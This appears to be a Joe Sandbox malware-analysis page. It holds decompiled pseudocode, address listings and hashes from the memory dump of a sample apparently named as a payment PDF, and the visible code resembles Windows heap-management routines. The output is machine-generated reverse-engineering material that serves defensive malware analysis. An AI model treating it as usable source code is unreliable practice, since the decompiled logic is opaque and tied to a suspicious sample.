												__eflags =  *(_t437 + 0x4c) & _t322;
												if(( *(_t437 + 0x4c) & _t322) != 0) {
													_t322 = _t322 ^  *(_t437 + 0x50);
													__eflags = _t322;
												}
												_t320 = _t322 & 0x0000ffff;
											}
											_t391 =  *((intOrPtr*)(_t432 - 8)) - (_t320 & 0x0000ffff) + _v128;
										}
										__eflags = _t391 + _t432 - _t339;
										if(_t391 + _t432 >= _t339) {
											L84:
											__eflags = _v108 & 0x3c000102;
											_v116 =  *(_t339 - 8);
											if((_v108 & 0x3c000102) != 0) {
												goto L15;
											}
											_t271 =  *((intOrPtr*)(_t339 - 1));
											__eflags = _t271 - 5;
											if(_t271 != 5) {
												__eflags = _t271 & 0x00000040;
												if((_t271 & 0x00000040) == 0) {
													_t396 = 0;
													__eflags = 0;
												} else {
													_t396 = (_t271 & 0x3f) << 0x00000003 & 0x0000ffff;
													_t271 =  *((intOrPtr*)(_t339 - 1));
												}
											} else {
												_t396 = ( *(_t339 - 2) & 0x000000ff) << 0x00000003 & 0x0000ffff;
												_t271 =  *((intOrPtr*)(_t339 - 1));
											}
											_t361 = _t396 & 0x0000ffff;
											_v120 = _t396;
											_v132 = _t361;
											_t339 = _t361 + _v124;
											_v128 = _t339;
											_t386 = _v112 - 8;
											__eflags = _t339 - _v124;
											if(_t339 < _v124) {
												L147:
												_t433 = 0xc0000017;
												goto L148;
											} else {
												_v124 = _t339;
												__eflags = _t271 - 5;
												if(_t271 != 5) {
													_t398 = 0;
													__eflags = 0;
												} else {
													_t398 = _t386 - (( *(_t386 + 6) & 0x000000ff) << 3) + 8;
												}
												_t339 = _v116;
												_t386 = _t437;
												_t272 = L335178DE(_v116, _t437, _v112, "true", _t398);
												__eflags = _t272;
												if(_t272 >= 0) {
													_t363 =  *(_t432 + 7);
													__eflags = _t363 - 4;
													if(_t363 != 4) {
														__eflags = _t363 - 5;
														if(_t363 != 5) {
															__eflags = _t363 & 0x00000040;
															if((_t363 & 0x00000040) == 0) {
																__eflags = (_t363 & 0x0000003f) - 0x3f;
																if((_t363 & 0x0000003f) == 0x3f) {
																	__eflags = _t363;
																	if(_t363 >= 0) {
																		__eflags =  *(_t437 + 0x4c);
																		if( *(_t437 + 0x4c) == 0) {
																			_t275 =  *_t432 & 0x0000ffff;
																		} else {
																			_t289 =  *_t432;
																			__eflags =  *(_t437 + 0x4c) & _t289;
																			if(( *(_t437 + 0x4c) & _t289) != 0) {
																				_t289 = _t289 ^  *(_t437 + 0x50);
																				__eflags = _t289;
																			}
																			_t275 = _t289 & 0x0000ffff;
																		}
																	} else {
																		_t370 = _t432 >> 0x00000003 ^  *_t432 ^ _t437 ^  *0x33566964;
																		__eflags = _t370;
																		if(_t370 == 0) {
																			_t291 = _t432 - (_t370 >> 0xd);
																			__eflags = _t291;
																			_t292 =  *_t291;
																		} else {
																			_t292 = 0;
																		}
																		_t275 =  *((intOrPtr*)(_t292 + 0x14));
																	}
																	_t364 =  *(_t432 + (_t275 & 0xffff) * 8 - 4);
																} else {
																	_t364 = _t363 & 0x3f;
																}
															} else {
																_t364 =  *(_t432 + 4 + (_t363 & 0x3f) * 8) & 0x0000ffff;
															}
														} else {
															_t364 =  *(_t437 + 0x54) & 0x0000ffff ^  *(_t432 + 4) & 0x0000ffff;
														}
														_t399 =  *(_t432 + 7);
														_v101 = _t399;
														__eflags = _t399;
														if(_t399 >= 0) {
															__eflags =  *(_t437 + 0x4c);
															if( *(_t437 + 0x4c) == 0) {
																_t278 =  *_t432 & 0x0000ffff;
															} else {
																_t285 =  *_t432;
																__eflags =  *(_t437 + 0x4c) & _t285;
																if(( *(_t437 + 0x4c) & _t285) != 0) {
																	_t285 = _t285 ^  *(_t437 + 0x50);
																	__eflags = _t285;
																}
																_t278 = _t285 & 0x0000ffff;
															}
														} else {
															_t407 = _t432 >> 0x00000003 ^  *_t432 ^ _t437 ^  *0x33566964;
															__eflags = _t407;
															if(_t407 == 0) {
																_t287 = _t432 - (_t407 >> 0xd);
																__eflags = _t287;
																_t288 =  *_t287;
															} else {
																_t288 = 0;
															}
															_t278 =  *((intOrPtr*)(_t288 + 0x14));
															_t399 = _v101;
														}
														_t365 = _t364 - _v132;
														_t279 = _t278 & 0x0000ffff;
														__eflags = _t365 - 0x3f;
														if(_t365 >= 0x3f) {
															 *(_t432 + (_t279 & 0x0000ffff) * 8 - 4) = _t365;
															_t284 = (_t399 >> 0x0000001f & 0x00000080) + 0x3f;
															__eflags = _t284;
															 *(_t432 + 7) = _t284;
														} else {
															 *(_t432 + 7) = _t399 >> 0x00000007 & 0x00000080 | _t365;
														}
													} else {
														_t374 = _v108;
														_t297 =  *(_t437 + 0x44) | _t374;
														__eflags = _t297 & 0x00000001;
														if((_t297 & 0x00000001) == 0) {
															L3347FED0( *((intOrPtr*)(_t437 + 0xc8)));
															_t374 = _v108;
														}
														__eflags =  *(_t437 + 0x4c);
														if( *(_t437 + 0x4c) != 0) {
															_t411 =  *(_t437 + 0x50) ^  *_t432;
															 *_t432 = _t411;
															_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
															__eflags = _t411 >> 0x18 - _t378;
															if(__eflags != 0) {
																_push(_t378);
																E3352D646(_t337, _t437, _t432, _t432, _t437, __eflags);
															}
															_t374 = _v108;
														}
														_t299 =  *_t432 - _v120;
														 *_t432 = _t299;
														__eflags =  *(_t437 + 0x4c);
														_t409 = _t299 & 0x0000ffff;
														if( *(_t437 + 0x4c) != 0) {
															 *(_t432 + 3) = _t409 >> 0x00000008 ^  *(_t432 + 2) ^ _t409;
															 *_t432 =  *_t432 ^  *(_t437 + 0x50);
															__eflags =  *_t432;
														}
														_t301 =  *(_t437 + 0x44) | _t374;
														__eflags = _t301 & 0x00000001;
														if((_t301 & 0x00000001) == 0) {
															_push( *((intOrPtr*)(_t437 + 0xc8)));
															E3347E740(_t374);
														}
													}
													_t188 = _t432 + 8; // 0xddeeddf6
													_t339 = _t188;
													_v112 = _t188;
													goto L15;
												} else {
													_t433 = 0xc0000005;
													goto L148;
												}
											}
										} else {
											L80:
											_v101 = 0;
											L81:
											_t386 = _t437;
											_t339 = 3;
											L33535FED(3, _t437, _t432, 3, 0, 0);
											__eflags = _v101;
											if(_v101 != 0) {
												_t339 = _v112;
												goto L84;
											}
											_t433 = 0xc000000d;
											goto L148;
										}
									}
									_t424 =  *(_t437 + 0x50) ^  *_t432;
									__eflags = _t424 >> 0x18 - (_t424 >> 0x00000010 ^ _t424 >> 0x00000008 ^ _t424);
									_t339 = _v112;
									if(_t424 >> 0x18 != (_t424 >> 0x00000010 ^ _t424 >> 0x00000008 ^ _t424)) {
										goto L80;
									}
									goto L61;
								}
								_t330 = L33531F59(_t337, _t437, _t432, _t432, _t437, __eflags);
								_t339 = _v112;
								_v101 = _t330;
								__eflags = _t330;
								if(_t330 != 0) {
									goto L61;
								}
								goto L81;
							}
							L15:
							_t386 = _v108 | 0x00000002;
							_t434 = L334828C0(_t437, _v108 | 0x00000002, _t339, _v124);
							_t260 =  *0x33566834; // 0x0
							if((_t260 & 0x00000001) != 0) {
								__eflags = _t260 & 0x00000002;
								if((_t260 & 0x00000002) == 0) {
									goto L16;
								}
								_t339 =  *[fs:0x30];
								__eflags =  *(_t339 + 0x18);
								if( *(_t339 + 0x18) == 0) {
									goto L16;
								}
								_push( *0x3356446c);
								_t268 = E33539682( *0x33564468);
								__eflags = _t437 -  *_t268;
								if(_t437 ==  *_t268) {
									goto L16;
								}
								__eflags = _t434;
								if(_t434 == 0) {
									L145:
									_v124 = _v124 - (_v120 & 0x0000ffff);
									__eflags = _v116;
									if(_v116 != 0) {
										_t435 = _v112;
										L3349B870(_t339, _t437, 0, _v112);
										_t264 = E3351D130(_t437, _v108, _v112, _t339, _v120, _v116);
										_t339 = _v116;
										_t386 = _t437;
										L335178DE(_v116, _t437, _t264, "true", _t435);
									}
									goto L147;
								}
								_t339 = _v108;
								__eflags = _t339 & 0x10000000;
								if((_t339 & 0x10000000) != 0) {
									L17:
									if(_t434 == 0) {
										goto L145;
									} else {
										_t386 = _v116;
										_t229 = _t434;
										if(_v116 != 0) {
											_t266 = E3351D130(_t437, _t339, _t434, _t339, _v120, _t386);
											_t386 = _t437;
											_v128 = _t266;
											L335178DE(_v116, _t437, _t266, "true", _t434);
											_t229 = _v128;
										}
										goto L19;
									}
								}
								L3352E8B1(_t437, _v112);
								_t386 = _t434;
								L3352DF93(_t437, _t434);
							}
							L16:
							_t339 = _v108;
							goto L17;
						}
						if((_t339 & 0x00000007) == 0) {
							__eflags =  *((char*)(_t339 - 1)) - 5;
							_t432 = _t339 - 8;
							if( *((char*)(_t339 - 1)) == 5) {
								_t432 = _t432 - (( *(_t432 + 6) & 0x000000ff) << 3);
								__eflags = _t432;
							}
							__eflags =  *(_t432 + 7) & 0x0000003f;
							if(( *(_t432 + 7) & 0x0000003f) != 0) {
								goto L13;
							} else {
								_push(0);
								_push(0);
								_push(0);
								_push(_t432);
								_t385 = 8;
								goto L11;
							}
						} else {
							_push(0);
							_push(0);
							_push(0);
							_push(_t339);
							_t385 = 9;
							L11:
							_t386 = _t437;
							L33535FED(_t385, _t437);
							_t432 = 0;
							goto L12;
						}
					}
					_t386 =  *(_t437 + 0xdc);
					_t334 =  *(_t437 + 0xdc);
					if(_t334 != 0) {
						L51:
						_t428 = _v124;
						__eflags = _v124 - _t334;
						if(__eflags <= 0) {
							goto L8;
						}
						_t335 =  *(_t437 + 0xe0);
						__eflags = _t335;
						if(_t335 != 0) {
							_t386 = _t437;
							_t339 = 0x14;
							L33535FED(0x14, _t437, 0, _t335, _t428, _t437);
						}
						goto L147;
					}
					_t334 =  *0x33564334; // 0x0
					if(_t334 != 0) {
						goto L51;
					}
					goto L8;
				}
			}

0x33482760
0x33482763
0x33482772
0x33482776
0x33482782
0x33482789
0x3348278b
0x3348278e
0x33482791
0x33482794
0x33482797
0x3348279a
0x334827a1
0x334827a9
0x334827ac
0x334827b1
0x334d61eb
0x334d61fa
0x334d67f4
0x334d67f4
0x3348287e
0x33482881
0x33482884
0x33482890
0x33482890
0x334827be
0x334d6209
0x334d620b
0x334d6211
0x334d6214
0x334d6216
0x334d6218
0x334d621f
0x334d6222
0x334d6224
0x334d6224
0x334d6227
0x334d6227
0x334d6222
0x334d622a
0x334d6231
0x334d6234
0x334d6236
0x334d623f
0x334d623f
0x334d6238
0x334d6238
0x334d623b
0x334d623b
0x334d6241
0x334d6244
0x334d6247
0x334d624a
0x334d624d
0x334d630a
0x334d630c
0x334d630f
0x334d6311
0x00000000
0x00000000
0x334d6317
0x334d631a
0x00000000
0x334d6320
0x334d6320
0x334d6327
0x334d632a
0x334d632c
0x334d6330
0x334d6333
0x334d6336
0x334d6338
0x334d6338
0x334d633a
0x334d633a
0x334d633d
0x334d6340
0x334d6342
0x334d6344
0x334d6344
0x00000000
0x334d6342
0x334d6253
0x334d6253
0x334d6253
0x334d6255
0x334d6264
0x334d6269
0x334d6269
0x334d6272
0x334d6275
0x334d6278
0x334d627e
0x334d6283
0x334d6287
0x334d628a
0x334d6292
0x334d6295
0x334d629b
0x334d62a1
0x334d62a2
0x334d62a9
0x334d62b0
0x334d62b7
0x334d62be
0x334d62c3
0x334d62c3
0x334d62c6
0x334d62c8
0x334d62cd
0x334d62cf
0x334d62d2
0x334d62d8
0x334d62da
0x334d62e4
0x334d62e9
0x334d62ee
0x334d62f3
0x334d62f3
0x334d62da
0x00000000
0x334d62d2
0x334d628c
0x334d6290
0x00000000
0x00000000
0x00000000
0x334d6290
0x334d624d
0x334827c6
0x334d634b
0x334d634b
0x334827ce
0x334d6358
0x334d6358
0x334827de
0x334827e1
0x334d6360
0x334d6363
0x334d6366
0x00000000
0x334827e7
0x334827ee
0x3348280d
0x33482811
0x334d639f
0x334d63a8
0x33482831
0x33482831
0x33482834
0x33482836
0x334d63af
0x334d67a4
0x334d67b2
0x334d67b8
0x334d67bd
0x334d67c1
0x334d67c4
0x334d67c9
0x334d67cf
0x334d67d0
0x334d67d3
0x334d67da
0x334d67e1
0x334d67e8
0x334d67ef
0x334d67ef
0x00000000
0x334d67c4
0x33482840
0x334d63b9
0x334d63bd
0x334d63d7
0x334d63db
0x334d6400
0x334d6400
0x334d6404
0x334d642d
0x334d6431
0x334d6442
0x334d6433
0x334d6433
0x334d6435
0x334d6438
0x334d643a
0x334d643a
0x334d643a
0x334d643d
0x334d643d
0x334d6406
0x334d640f
0x334d6415
0x334d6418
0x334d6423
0x334d6423
0x334d6425
0x334d641a
0x334d641a
0x334d641a
0x334d6427
0x334d6427
0x334d6445
0x334d644c
0x334d644f
0x334d6452
0x334d6479
0x334d6454
0x334d6454
0x334d6458
0x334d6469
0x334d645a
0x334d645a
0x334d645c
0x334d645f
0x334d6461
0x334d6461
0x334d6461
0x334d6464
0x334d6464
0x334d6474
0x334d6474
0x334d6483
0x334d6485
0x334d64b0
0x334d64b0
0x334d64ba
0x334d64bd
0x00000000
0x00000000
0x334d64c3
0x334d64c6
0x334d64c8
0x334d64da
0x334d64dc
0x334d64ef
0x334d64ef
0x334d64de
0x334d64e7
0x334d64ea
0x334d64ea
0x334d64ca
0x334d64d2
0x334d64d5
0x334d64d5
0x334d64f1
0x334d64f4
0x334d64fa
0x334d64fd
0x334d6500
0x334d6503
0x334d6506
0x334d6509
0x334d679f
0x334d679f
0x00000000
0x334d650f
0x334d650f
0x334d6512
0x334d6514
0x334d6524
0x334d6524
0x334d6516
0x334d651f
0x334d651f
0x334d652d
0x334d6530
0x334d6532
0x334d6537
0x334d6539
0x334d6545
0x334d6548
0x334d654b
0x334d65dc
0x334d65df
0x334d65ed
0x334d65f0
0x334d6603
0x334d6605
0x334d660f
0x334d6611
0x334d663a
0x334d663e
0x334d664f
0x334d6640
0x334d6640
0x334d6642
0x334d6645
0x334d6647
0x334d6647
0x334d6647
0x334d664a
0x334d664a
0x334d6613
0x334d661c
0x334d6622
0x334d6625
0x334d6630
0x334d6630
0x334d6632
0x334d6627
0x334d6627
0x334d6627
0x334d6634
0x334d6634
0x334d6658
0x334d6607
0x334d660a
0x334d660a
0x334d65f2
0x334d65f8
0x334d65f8
0x334d65e1
0x334d65e9
0x334d65e9
0x334d665c
0x334d665f
0x334d6662
0x334d6664
0x334d6690
0x334d6694
0x334d66a5
0x334d6696
0x334d6696
0x334d6698
0x334d669b
0x334d669d
0x334d669d
0x334d669d
0x334d66a0
0x334d66a0
0x334d6666
0x334d666f
0x334d6675
0x334d6678
0x334d6683
0x334d6683
0x334d6685
0x334d667a
0x334d667a
0x334d667a
0x334d6687
0x334d668b
0x334d668b
0x334d66a8
0x334d66ab
0x334d66ae
0x334d66b1
0x334d66c3
0x334d66cf
0x334d66cf
0x334d66d1
0x334d66b3
0x334d66bb
0x334d66bb
0x334d6551
0x334d6554
0x334d6557
0x334d6559
0x334d655b
0x334d6563
0x334d6568
0x334d6568
0x334d656b
0x334d656f
0x334d6574
0x334d6578
0x334d6584
0x334d6589
0x334d658b
0x334d658d
0x334d6592
0x334d6592
0x334d6597
0x334d6597
0x334d659d
0x334d65a1
0x334d65a4
0x334d65a8
0x334d65ab
0x334d65b7
0x334d65bd
0x334d65bd
0x334d65bd
0x334d65c2
0x334d65c4
0x334d65c6
0x334d65cc
0x334d65d2
0x334d65d2
0x334d65c6
0x334d66d4
0x334d66d4
0x334d66d7
0x00000000
0x334d653b
0x334d653b
0x00000000
0x334d653b
0x334d6539
0x334d6487
0x334d6487
0x334d6487
0x334d648b
0x334d6491
0x334d6493
0x334d6498
0x334d649d
0x334d64a1
0x334d64ad
0x00000000
0x334d64ad
0x334d64a3
0x00000000
0x334d64a3
0x334d6485
0x334d63e2
0x334d63f5
0x334d63f7
0x334d63fa
0x00000000
0x00000000
0x00000000
0x334d63fa
0x334d63c3
0x334d63c8
0x334d63cb
0x334d63ce
0x334d63d0
0x00000000
0x00000000
0x00000000
0x334d63d2
0x33482846
0x3348284d
0x33482857
0x33482859
0x33482860
0x334d66df
0x334d66e1
0x00000000
0x00000000
0x334d66e7
0x334d66ee
0x334d66f2
0x00000000
0x00000000
0x334d66f8
0x334d6704
0x334d6709
0x334d670b
0x00000000
0x00000000
0x334d6711
0x334d6713
0x334d6764
0x334d676a
0x334d676d
0x334d6771
0x334d6773
0x334d677a
0x334d678c
0x334d6791
0x334d6794
0x334d679a
0x334d679a
0x00000000
0x334d6771
0x334d6715
0x334d6718
0x334d671e
0x33482869
0x3348286b
0x00000000
0x33482871
0x33482871
0x33482874
0x33482878
0x334d6746
0x334d674e
0x334d6754
0x334d6757
0x334d675c
0x334d675c
0x00000000
0x33482878
0x3348286b
0x334d6729
0x334d672e
0x334d6732
0x334d6732
0x33482866
0x33482866
0x00000000
0x33482866
0x3348281a
0x33482893
0x33482897
0x3348289a
0x334828a3
0x334828a3
0x334828a3
0x334828a5
0x334828a9
0x00000000
0x334828ab
0x334828ab
0x334828ad
0x334828af
0x334828b1
0x334828b2
0x00000000
0x334828b2
0x3348281c
0x3348281c
0x3348281e
0x33482820
0x33482822
0x33482823
0x33482828
0x33482828
0x3348282a
0x3348282f
0x00000000
0x3348282f
0x3348281a
0x334827f0
0x334827f6
0x334827fa
0x334d6370
0x334d6370
0x334d6373
0x334d6375
0x00000000
0x00000000
0x334d637b
0x334d6381
0x334d6383
0x334d638e
0x334d6390
0x334d6395
0x334d6395
0x00000000
0x334d6383
0x33482800
0x33482807
0x00000000
0x00000000
0x00000000
0x33482807

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e214e807aa54bdb23a24156af19ad95803ce310fc64211703ec227877df776a
Instruction ID: bc7c1b12574b0ab155230e42329de066a16136448eb836e9fa852aaf8f419319
Opcode Fuzzy Hash: 6e214e807aa54bdb23a24156af19ad95803ce310fc64211703ec227877df776a
Instruction Fuzzy Hash: 1A321178A007548FEB14EF69C8607AEBBF2BF84300F94451DD4959B786DB39A842CF58

Uniqueness

Uniqueness Score: -1.00%

Function 3353124C Relevance: .6, Instructions: 571
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E3353124C(signed int* __ecx, char __edx) {
				signed int* _v8;
				signed int _v12;
				signed int _v16;
				signed int* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				signed int* _t202;
				signed int _t204;
				signed int _t206;
				signed int* _t207;
				signed int _t216;
				char* _t218;
				signed int _t219;
				void* _t222;
				signed int** _t228;
				signed int _t233;
				signed int _t241;
				void* _t242;
				signed int** _t248;
				signed int _t255;
				signed int _t259;
				signed int _t261;
				signed int _t263;
				signed int _t278;
				void* _t281;
				unsigned int* _t283;
				intOrPtr _t291;
				signed int _t292;
				char* _t312;
				signed int* _t317;
				signed int _t318;
				intOrPtr* _t319;
				signed int _t323;
				signed int _t324;
				signed int _t325;
				signed int _t326;
				signed int _t331;
				void* _t348;
				void* _t356;
				signed int _t360;
				signed int _t376;
				signed int _t404;
				signed int _t405;
				void* _t406;
				signed char _t407;
				signed int _t408;
				signed int* _t409;
				signed char _t411;
				signed int* _t412;
				signed int _t416;
				signed char _t418;
				signed int* _t421;
				signed int* _t430;
				signed int _t444;
				signed int _t445;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int* _t451;
				intOrPtr* _t452;
				signed int* _t453;
				signed int _t454;
				signed int _t455;
				signed char* _t459;
				void* _t460;
				void* _t462;
				signed int* _t463;
				void* _t484;

				_t317 = __ecx;
				_v40 = __edx;
				_v8 = __ecx;
				while(1) {
					L1:
					_t3 =  &(_t317[1]); // 0x33564804
					_t202 = _t3;
					goto L2;
					do {
						while(1) {
							L2:
							_t404 =  *_t202;
							_v12 = _t404;
							if(_t404 == 0) {
								goto L31;
							} else {
								_v24 = _v24 & 0x00000000;
								_t283 = _t404 + 0x10;
								_v20 = _t283;
								_t336 =  *_t317;
								_t454 =  *( *_t317 + 0xc);
								_v32 = _t454;
								if( *_t283 >> 0x10 < 0) {
									_t11 =  &(_t317[0x17]); // 0x0
									_t448 =  *_t11 & 0x0000ffff;
									_t336 = 1;
									_v24 = 1;
									if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
										_t336 = _t454;
										if(E3346E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
											_t336 = 1;
											 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
											if(L33483C40() == 0) {
												_t312 = 0x7ffe0380;
											} else {
												_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											}
											if( *_t312 != 0) {
												_t336 = 1;
												if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
													_t336 =  *(_t454 + 0xc);
													L3352EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
												}
											}
										}
										_t404 = _v12;
									}
								}
								asm("sbb eax, eax");
								_t445 = 0;
								_v28 = 0;
							}
							do {
								L14:
								_t455 =  *(_t404 + 0x10);
								if((_t455 >> 0x00000010 & 0x00008000) != 0) {
									goto L17;
								}
								if(_t455 == 0) {
									L26:
									_t406 = 0;
									L27:
									if(_v24 != 0) {
										_t291 =  *0x33564364; // 0x0
										_t484 = _t291 + 1 -  *0x33564360; // 0x10
										if(_t484 < 0) {
											asm("lock cmpxchg [esi], ecx");
										}
									}
									if(_t406 != 0) {
										L131:
										return _t406;
									} else {
										goto L31;
									}
								}
								_t336 = _t455 | 0x80000000;
								asm("lock cmpxchg [ebx], ecx");
								_t317 = _v8;
								if(_t455 == _t455) {
									L19:
									if(_t455 == 0xffffffff) {
										goto L26;
									}
									_t292 =  *((intOrPtr*)(_t404 + 4));
									_v16 = _t292;
									if(_t292 == 0 ||  *_t404 != _t317 || _t455 == 0) {
										 *_v20 = _t455;
										goto L26;
									} else {
										_t45 =  &(_t317[0x17]); // 0x0
										_t46 = ( *_t45 & 0x0000ffff) + 0x3344bf30; // 0x20202020
										_t447 = E334C7A51(_v16 + 0x14,  *((E334C7AF9(_t336) & 0x0000ffff) + 0x33564200) & 0x000000ff,  *_t46 & 0x000000ff);
										_t457 = _v16;
										 *_v20 = (_t455 & 0x0000ffff) - 0x00000001 | _t447 << 0x00000010;
										_t406 = (( *(_v16 + 0x10) ^  *0x33566964 ^ _v16 ^ _v32) & 0x0000ffff) + (( *(_v16 + 0x10) ^  *0x33566964 ^ _v16 ^ _v32) >> 0x10) * _t447 + _t457;
										if(( *(_t406 + 7) & 0x0000003f) != 0) {
											_push(0);
											_push(0);
											_push(0);
											_push(_t406);
											_t348 = 0xf;
											L33535FED(_t348,  *((intOrPtr*)( *( *_t317 + 0xc) + 0xc)));
											_t406 = 0;
										}
										goto L27;
									}
								}
								L17:
								_t445 = _t445 + 1;
							} while (_t445 <= _v28);
							_t455 = _t455 | 0xffffffff;
							goto L19;
							L31:
							_v28 =  *_t317;
							_t64 =  &(_t317[2]); // 0x33564808
							_t204 = _t64;
							_v16 = _t204;
							while(1) {
								_t444 = 0;
								while(1) {
									L33:
									_t318 = 0;
									_v20 = 0x10;
									_v24 = _v24 & 0;
									_t331 = _t204;
									_v12 = _t331;
									do {
										L34:
										_t405 =  *_t331;
										_t451 = _v8;
										_v32 = _t405;
										if(_t405 != 0) {
											_t206 =  *(_t405 + 0x10) & 0x0000ffff;
											_v36 = _t206;
											if(_t206 > _v24) {
												_t281 = L334ABF0C(_t451, _t405);
												_t331 = _v12;
												if(_t281 == 0) {
													_t318 = _t331;
													_t444 = _v32;
													_v24 = _v36;
												}
											}
										}
										_t331 = _t331 + 4;
										_t79 =  &_v20;
										 *_t79 = _v20 - 1;
										_v12 = _t331;
									} while ( *_t79 != 0);
									_v24 = _t444;
									if(_t318 == 0) {
										_t444 = 0;
										L55:
										if(_t444 == 0) {
											_t207 = _v8;
											_t452 = 0;
											_t111 = _t207 + 0x5c; // 0x0
											_t211 =  *((intOrPtr*)( *((intOrPtr*)(_v28 + 0xc)) + 0x3c0 + ( *_t111 & 0x0000ffff) * 4)) + 0x48;
											_v16 = 0;
											_v24 = 0;
											_v20 =  *((intOrPtr*)( *((intOrPtr*)(_v28 + 0xc)) + 0x3c0 + ( *_t111 & 0x0000ffff) * 4)) + 0x48;
											while(1) {
												_t319 = L3349FE50(_t211);
												_v28 = _t319;
												if(_t319 == 0) {
													break;
												}
												_t121 = _t319 - 0x20; // -32
												_t444 = _t121;
												_t122 = _t444 + 0x1c; // -4
												_t421 = _t122;
												if((1 &  *_t421) == 0) {
													_t323 = 0xfffffffd;
													_t255 =  *_t421;
													do {
														asm("lock cmpxchg [edx], ecx");
													} while ((_t255 & _t323) != 0);
													_t324 = _v28;
													if(_t255 != 2) {
														L87:
														_t211 = _v20;
														_t444 = 0;
														continue;
													}
													L86:
													 *_t444 =  *_t444 & 0x00000000;
													E334820E0( *( *_t444), _t324);
													goto L87;
												}
												if(E334B2670(_t444, _v8) == 0) {
													_t259 = _v16;
													if(_t259 == 0) {
														_v24 = _t319;
													}
													 *_t319 = _t452;
													_t452 = _t319;
													_v16 = _t259 + 1;
													goto L87;
												}
												_t126 = _t444 + 0x1c; // -4
												_t325 = 0xfffffffd;
												_t261 =  *_t126;
												do {
													asm("lock cmpxchg [edx], ecx");
												} while ((_t261 & _t325) != 0);
												_t324 = _v28;
												if(_t261 == 2) {
													goto L86;
												}
												if(E33483AF6(_v8, _t444) == 0) {
													goto L87;
												}
												break;
											}
											_t335 = _v16;
											if(_v16 != 0) {
												L334FE9B0(_v20, _t452, _v24, _t335);
											}
											L70:
											if(_t444 == 0) {
												_t406 = 0;
												goto L131;
											}
											_t133 = _t444 + 0x1c; // 0x1c
											_t453 = _t133;
											 *((char*)(_t444 + 0x1b)) = _v40;
											while(1) {
												_t317 = _v8;
												_t407 =  *_t453;
												_t136 =  &(_t317[1]); // 0x33564804
												_t202 = _t136;
												if(_t407 == 0) {
													break;
												}
												_t137 =  &(_t317[1]); // 0x33564804
												_t202 = _t137;
												if((_t407 & 0x00000006) != 0) {
													while(1) {
														L2:
														_t404 =  *_t202;
														_v12 = _t404;
														if(_t404 == 0) {
															goto L31;
														} else {
															_v24 = _v24 & 0x00000000;
															_t283 = _t404 + 0x10;
															_v20 = _t283;
															_t336 =  *_t317;
															_t454 =  *( *_t317 + 0xc);
															_v32 = _t454;
															if( *_t283 >> 0x10 < 0) {
																_t11 =  &(_t317[0x17]); // 0x0
																_t448 =  *_t11 & 0x0000ffff;
																_t336 = 1;
																_v24 = 1;
																if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																	_t336 = _t454;
																	if(E3346E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																		_t336 = 1;
																		 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																		if(L33483C40() == 0) {
																			_t312 = 0x7ffe0380;
																		} else {
																			_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																		}
																		if( *_t312 != 0) {
																			_t336 = 1;
																			if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																				_t336 =  *(_t454 + 0xc);
																				L3352EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																			}
																		}
																	}
																	_t404 = _v12;
																}
															}
															asm("sbb eax, eax");
															_t445 = 0;
															_v28 = 0;
														}
														goto L14;
													}
												}
												asm("lock cmpxchg [esi], ecx");
												if(_t407 != _t407) {
													continue;
												}
												_t216 =  *_t444;
												_v36 = _t216;
												if(_t216 == _t317) {
													L105:
													if(L33483C40() == 0) {
														_t218 = 0x7ffe0380;
													} else {
														_t218 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
													}
													if( *_t218 != 0 && ( *( *[fs:0x30] + 0x240) & 1) != 0) {
														E3352F409( *((intOrPtr*)( *( *_t317 + 0xc) + 0xc)),  *((intOrPtr*)(_t444 + 4)));
													}
													_t174 =  &(_t317[1]); // 0x33564804
													_t202 = _t174;
													_t175 = _t444;
													_t444 =  *_t202;
													 *_t202 = _t175;
													if(_t444 == 0) {
														break;
														do {
															do {
																do {
																	while(1) {
																		L2:
																		_t404 =  *_t202;
																		_v12 = _t404;
																		if(_t404 == 0) {
																			goto L31;
																		} else {
																			_v24 = _v24 & 0x00000000;
																			_t283 = _t404 + 0x10;
																			_v20 = _t283;
																			_t336 =  *_t317;
																			_t454 =  *( *_t317 + 0xc);
																			_v32 = _t454;
																			if( *_t283 >> 0x10 < 0) {
																				_t11 =  &(_t317[0x17]); // 0x0
																				_t448 =  *_t11 & 0x0000ffff;
																				_t336 = 1;
																				_v24 = 1;
																				if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																					_t336 = _t454;
																					if(E3346E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																						_t336 = 1;
																						 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																						if(L33483C40() == 0) {
																							_t312 = 0x7ffe0380;
																						} else {
																							_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																						}
																						if( *_t312 != 0) {
																							_t336 = 1;
																							if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
